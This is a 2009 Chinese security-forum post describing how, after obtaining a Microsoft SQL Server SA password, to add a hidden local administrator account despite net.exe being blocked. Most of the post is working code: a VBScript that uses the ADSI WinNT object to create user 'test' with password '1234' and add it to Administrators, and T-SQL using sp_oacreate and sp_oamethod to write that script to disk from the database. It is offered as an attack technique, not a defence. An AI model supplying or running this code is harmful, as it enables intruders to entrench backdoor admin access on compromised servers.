找回密码
 注册
搜索
热搜: 回贴
  • 前程无忧官网首页 有什么好的平台可以
  • 最新的销售平台 互联网营销的平台有哪
  • 制作网页的基本流程 网页制作和网页设
  • 【帝国CMS】输出带序号的列表(数字排
  • 网站建设公司 三一,中联,极东泵车的
  • 织梦 建站 织梦网站模版后台怎么更改
  • 云服务官网 哪些网站有免费的简历模板
  • 如何建网站要什么条件 建网站要用什么
  • 吉林市移动公司电话 吉林省退休人员网
  • 设计类毕业论文 网站设计与实现毕业论
查看: 11220|回复: 3

mssql SA权限最新利用方法 一

[复制链接]
发表于 2009-8-11 00:44:04 | 显示全部楼层 |阅读模式 IP:江苏扬州
在获得SA密码后,往往因为服务器管理者或”前人”将net.exe和net1.exe被限制使用,无法添加管理员账号。我们知道VBS在活动目录(ADSI)部分有一个winnt对象,用来管理本地资源,利用它可以不依靠CMD等命令就能添加一个管理员,具体代码如下:
set wsnetwork=CreateObject("WSCRIPT.NETWORK")
os="WinNT://"&wsnetwork.ComputerName
Set ob=GetObject(os) ’得到adsi接口,绑定
Set oe=GetObject(os&"/Administrators,group") ’属性,admin组
Set od=ob.Create("user","test") ’建立用户
od.SetPassword "1234" ’设置密码
od.SetInfo ’保存
Set of=GetObject(os&"/test",user) ’得到用户
oe.add os&"/test"
将上面的代码保存为1.vbs,然后执行,命令为“cscript 1.vbs”,这样就会在系统添加一个系统名为test,密码为1234的用户。具体在查询分析器执行的代码如下:
declare @o int, @f int, @t int, @ret int
exec sp_oacreate ’scripting.filesystemobject’, @o out
exec sp_oamethod @o, ’createtextfile’, @f out, ’c:\1.vbs’, 1
exec @ret = sp_oamethod @f, ’writeline’, NULL,’set wsnetwork=CreateObject
("WSCRIPT.NETWORK")’
exec @ret = sp_oamethod @f, ’writeline’, NULL,’os="WinNT://"&wsnetwork.
ComputerName’
exec @ret = sp_oamethod @f, ’writeline’, NULL,’Set ob=GetObject(os)’
exec @ret = sp_oamethod @f, ’writeline’, NULL,’Set oe=GetObject
(os&"/Administrators,group")’
exec @ret = sp_oamethod @f, ’writeline’, NULL,’Set od=ob.Create
("user","test")’
exec @ret = sp_oamethod @f, ’writeline’, NULL,’od.SetPassword "1234"’
exec @ret = sp_oamethod @f, ’writeline’, NULL,’od.SetInfo ’
exec @ret = sp_oamethod @f, ’writeline’, NULL,’Set of=GetObject
(os&"/test",user) ’
exec @ret = sp_oamethod @f, ’writeline’, NULL,’oe.add os&"/test"’
发表于 2009-12-21 15:34:02 | 显示全部楼层 IP:新西兰
高山仰止,莫测高深。。。。
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则

QQ|小黑屋|最新主题|手机版|微赢网络技术论坛 ( 苏ICP备08020429号 )

GMT+8, 2024-9-29 17:22 , Processed in 0.419965 second(s), 14 queries , Gzip On, MemCache On.

Powered by Discuz! X3.5

© 2001-2023 Discuz! Team.

快速回复 返回顶部 返回列表